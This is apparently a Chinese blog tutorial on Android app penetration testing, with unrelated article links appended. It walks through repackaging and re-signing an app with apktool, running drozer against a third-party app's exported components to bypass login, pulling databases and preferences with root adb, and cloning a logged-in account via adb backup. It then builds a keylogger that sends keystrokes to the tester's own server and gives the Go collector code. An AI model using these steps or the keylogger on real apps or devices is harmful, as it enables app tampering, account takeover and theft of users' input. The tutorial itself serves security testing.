基本知识

平时安装的应用位置,里面主要是odex可运行文件
/data/app
系统应用位置(需要root权限),里面主要是odex可运行文件
/system/app
应用的数据相关的位置,里面包含一些配置,缓存信息
/data/data

重打包测试测试

测试流程

检测app是否检测签名,如果未检测签名可重打包篡改app的代码再次发布

首先准备2个工具,apktool.jar和signapk.jar,其次寻找签名需要的2个证书文件pk8和pem,可以直接生成我这里直接拿别人编译好的,github上随便搜索signapk的项目,找到的下面内容

https://github.com/sunshinelyz/mykit-android-signapk

获取了之后先看之前app的样子

为了明显目的是将程序未注册改为其他的显示

拿到apk,使用apktool进行反编译, -f为apk名称 -o为生成的文件夹名称

apktool d -f app-debug.apk -o app

java -jar apktool.jar d -f app-debug.apk -o app

此时我们当前路径下就多了app目录,打开他,目录结构如下,和使用jad和jre反编译不同,他没有dex文件,而是smali文件

我们再smali中找到程序未注册的字符位置,中文在smali中是以unicode编码的形式存储

将其修改,hijacking test

重新打包,此处-f参数为项目文件夹, -o 为生成的apk名称

apktool b -f app -o test.apk

java -jar apktool.jar -f app -o test.apk

此时还不够,需要进行签名

java -jar signapk.jar platform.x509.pem platform.pk8 test.apk test-final.apk

生成我们最终的test-final.apk

但是在安装时,会出现与已安装的应用签名不同,但这并不是说明程序进行了签名校验,只是安卓系统进行了版本更新的对比

将之前的程序删掉

再次安装成功

打开也成功修改了指定文本

防御方式

使用Native层代码验证代码的完整性,或者加壳

签名完整性测试

检测app是否是原本,还是被第三方重新打包的

测试流程
jarsigner -verify [apk路径]

显示未签名说明被第三方篡改重新打包了,显示已验证为完整的

检测证书情况

jarsigner -verify -verbose -certs [apk路径]

可导出组件测试

测试流程

该漏洞是因为该app组件未进行严格权限控制,导致任意app均可调用该组件导致危害

需要的工具为dorzer

导出的组件前提为,下列满足其一就可:

1.显示声明 android:exported="true"
2.未显示声明 android:exported="false" 组件不是 Content Provider 组件不包含 <intent-filter>
3.未显示声明 android:exported="false" 组件是 Content Provider api版本 < 17

首先选择目标,我在酷安上随便找了个应用

手机连接好电脑,分别启动dorzer

使用ls可用查看命令,首先查看有哪些包在运行

run app.package.list

有许多结果可以通过-f参数进行过滤,这里查看目标app的包名可以通过手机中 设置->更多应用->对应app->应用信息里面有应用包名

run app.package.list -f xxs

查看包信息

run app.package.info -a com.xxs.leon.xxs

查看可攻击组件信息

run app.package.attacksurface com.xxs.leon.xxs

查看对应组件信息

run app.activity.info -a com.xxs.leon.xxs #查看activity组件
run app.broadcast.info -a com.xxs.leon.xxs #查看broadcast组件
run app.provider.info -a com.xxs.leon.xxs #查看provider组件
run app.service.info -a com.xxs.leon.xxs #查看service组件

那么接下来可以直接调用对应组件,实现绕过app本身逻辑直接请求组件,一般用于绕过登录之类的漏洞

实体机如果不灵光可以重启解决

run app.activity.start --component com.xxs.leon.xxs com.xxs.leon.xxs.ui.activity.WebActivity

广播模块攻击

run app.broadcast.send --action [组件路径] --extra string [输出的变量] [更改的值]

因为小小书app不太典型,因此使用dorzer官网自带的测试漏洞app

https://labs.f-secure.com/tools/drozer/

整个程序功能大致为输入密码后输出信息

启动server服务

run app.service.start --action com.mwr.example.sieve(包名) --component com.mwr.example.sieve(包名)  com.mwr.example.sieve.AuthService(组件名)

查看ContentProvider并找到url路径-a后接包名

run scanner.provider.finduris -a com.mwr.example.sieve

provider 组件可能存在客户端的sql注入和目录遍历的问题

#sql注入
run scanner.provider.injection -a com.mwr.example.sieve
#目录遍历
run scanner.provider.traversal -a com.mwr.example.sieve

敏感文件泄露

一般敏感的文件有sqlite的数据库文件,xml文件,logcat日志内容

使用root权限的adb,前往程序app的文件夹下(路径可通过drozer去查看)

adb root
adb shell
cd xxx/xxx/xxx

sqlite文件一般在databases下面

可以看到存在database.db的文件,可以通过find命令去查找

find /data/user/0/com.mwr.example.sieve -name *.db

回到pc的命令行,使用adb pull命令将db拷贝出来

adb pull /data/user/0/com.mwr.example.sieve/databases/database.db

用工具打开sqlite数据库文件

xml配置文件一般在shared_prefs下面

将其拷贝出来

adb pull /data/user/0/com.xxs.leon.xxs/shared_prefs

比如小小书的公告内容写在了配置中(这里应该是通过网络传输更新配置文件的)

Logcat 日志导出

adb shell logcat -d > 1.txt

使用文件编辑器全局搜索翻阅

静态资源备份打包

AllowBackup属性设置为true,则存在备份打包漏洞,使用原理如手机A某app登录了账号,该app的AllowBackup属性设置为true,此时在手机A上打包该app并导出,将导出的apk重新放入手机B中,手机B默认登录手机A中的账号

#连接手机A
adb kill-server
adb backup -nosystem -noshared -apk -f com.xxs.leon.xxs.ab com.xxs.leon.xxs #连接手机B
adb kill-server
adb devices
adb restore com.xxs.leon.xxs.ab

准备手机A

手机B未登录

把小小书进行备份,并且将备份写入手机B

成功登陆

键盘记录漏洞

github项目

https://github.com/bshu2/Android-Keylogger

需要自己编译apk,自己编译时将apk的url路径改为自己的公网服务器地址

之后在服务器上启动server.go服务,这里需要改动下,将init内容写到main函数中,并且将包改为package main,端口号与apk中的修改的url地址相对应即可

package main

import (
"io/ioutil"
"fmt"
"strings"
"net/http"
) var entries = []string{} func init() {
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
} func handler(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case "GET":
//serve the resource
fmt.Fprintf(w, "<table><tr><th>Timestamp</th><th>Action</th><th>Data</th></tr>")
for i, _ := range entries {
fmt.Fprintf(w, "%s", entries[len(entries) - i - 1])
}
fmt.Fprintf(w, "</table>")
case "POST":
//add entry
body, err := ioutil.ReadAll(r.Body)
if err != nil {
fmt.Fprintf(w, err.Error())
}
entry := strings.SplitN(string(body), "|", 3)
new_entry := fmt.Sprintf("<tr><td>%s</td><td>%s</td> <td>%s</td></tr>", entry[0], entry[1], entry[2])
entries = append(entries, new_entry)
if len(entries) > 100 {
entries = entries[1:]
}
fmt.Fprintf(w, "POST\n")
default:
//do nothing
}
} func main(){
http.HandleFunc("/", handler)
http.ListenAndServe(":5001", nil)
}

启动server

go run server.go

手机上启动app需要root权限,将app挂到后台

输入的记录,将发送到go语言启动的web服务器

以上操作需要root权限,并且很变态在于自定义键盘也可以获取输入内容

不需要root权限可使用专门记录键盘的app,相当于安装记录输入内容的输入法app,在测试对象没有使用自定义软键盘的情况下,调用该输入法app,则会存在输入内容被窃取记录的风险

屏幕截取漏洞

adb shell /system/bin/screencap -p /data/1.png 

从手机放入电脑
adb pull /data/1.png

app渗透测试 服务端篇的更多相关文章

  1. 基于APNs最新HTTP/2接口实现iOS的高性能消息推送(服务端篇)

    1.前言 本文要分享的消息推送指的是当iOS端APP被关闭或者处于后台时,还能收到消息/信息/指令的能力. 这种在APP处于后台或关闭情况下的消息推送能力,通常在以下场景下非常有用: 1)IM即时通讯 ...

  2. Powershell渗透测试系列–进阶篇

    原文来自:https://bbs.ichunqiu.com/thread-41561-1-1.html i春秋作家:anyedt 0×00 引言 经过基础篇的学习我们已经对powershell有了一个 ...

  3. Android App渗透测试工具汇总

    网上搜集了一些App安全学习教程及工具,项目地址:https://github.com/Brucetg/App_Security 一. drozer简介 drozer(以前称为Mercury)是一款A ...

  4. CMDB学习之六 --客户端请求测试,服务端api优化

    客户端使用agent 请求测试,agent使用的POST 请求,使用requests模块 本地采集,汇报服务端 #!/usr/bin/env python # -*- coding:utf-8 -*- ...

  5. 微信支付(APP支付)-服务端开发(二 )

    如果你已经可以微信支付成功,那么你已经成功90%,剩下的就是订单确认问题了. 接上一篇文章,今天我们来谈一谈,订单查询与确认: APP端支付成功之后,会再次向服务端发起请求,确认付款订单时候成功,同时 ...

  6. 【Azure 应用服务】Azure Mobile App (NodeJS) 的服务端部署在App Service for Windows中出现404 Not Found -- The resource you are looking for has been removed, had its name changed, or is temporarily unavailable.

    问题描述 使用NodeJS的后端应用,开发一个Mobile App的服务端,手机端通过REST API来访问获取后端数据.在本地编译好后,通过npm start启动项目,访问效果如下: 但是,当把项目 ...

  7. Android App渗透测试工具drozer,Qark,Androguard

    一. drozer简介 drozer(以前称为Mercury)是一款Android安全测试框架. drozer允许您通过承担应用程序的角色并与Dalvik VM,其他应用程序的IPC端点和底层操作系统 ...

  8. C# 服务端篇之实现RestFul Service开发(简单实用)

    一.RestFul简介 REST(Representational State Transfer 通常被翻译为“表述性状态传输”或者“表述性状态转移”)是RoyFielding提出的一个描述互联系统架 ...

  9. 微信支付(APP支付)-服务端开发(一)

    微信支付,首先需要注册一个商户平台公众账号,(网址:https://pay.weixin.qq.com/index.php/home/d_login) 目前微信支付的接入方式有四种方式:公众号支付,A ...

随机推荐

  1. java中的装箱及拆箱

    java中存在8中基本的数据类型,每一种数据类型都有包装类型. 包装类型:每一个基本的数据类型都会------对应一个包装类型. boolean------------------>Boolea ...

  2. 康托展开:对全排列的HASH和还原,判断搜索中的某个排列是否出现过

    题目:http://acm.hrbust.edu.cn/index.php?m=ProblemSet&a=showProblem&problem_id=2297 前置技能:(千万注意是 ...

  3. SMB relay

    SMB relay 0x00 SMB服务 先来了解一下什么是 SMB 服务,SMB(Server Message Block)是一个协议名称,用它可以共享计算机之间的文件.打印机.串口等,通过 SMB ...

  4. config file language All In One

    config file language All In One YAML YAML Ain't Markup Language .yaml / .yml https://yaml.org/ https ...

  5. convert URL Query String to Object All In One

    convert URL Query String to Object All In One URL / query string / paramas query string to object le ...

  6. React Hooks 实现一个计时器组件

    React Hooks 实现一个计时器组件 useEffect https://reactjs.org/docs/hooks-reference.html#useeffect import React ...

  7. node cli & emoji

    node cli & emoji cli $ yarn add node-emoji $ npm i node-emoji https://github.com/omnidan/node-em ...

  8. JavaScript Functional Programming

    JavaScript Functional Programming JavaScript 函数式编程 anonymous function https://en.wikipedia.org/wiki/ ...

  9. React Native & Android & Text Input

    React Native & Android & Text Input react native clear input value https://stackoverflow.com ...

  10. HTML5 & canvas fingerprinting

    HTML5 & canvas fingerprinting demo https://codepen.io/xgqfrms/full/BaoMWMp window.addEventListen ...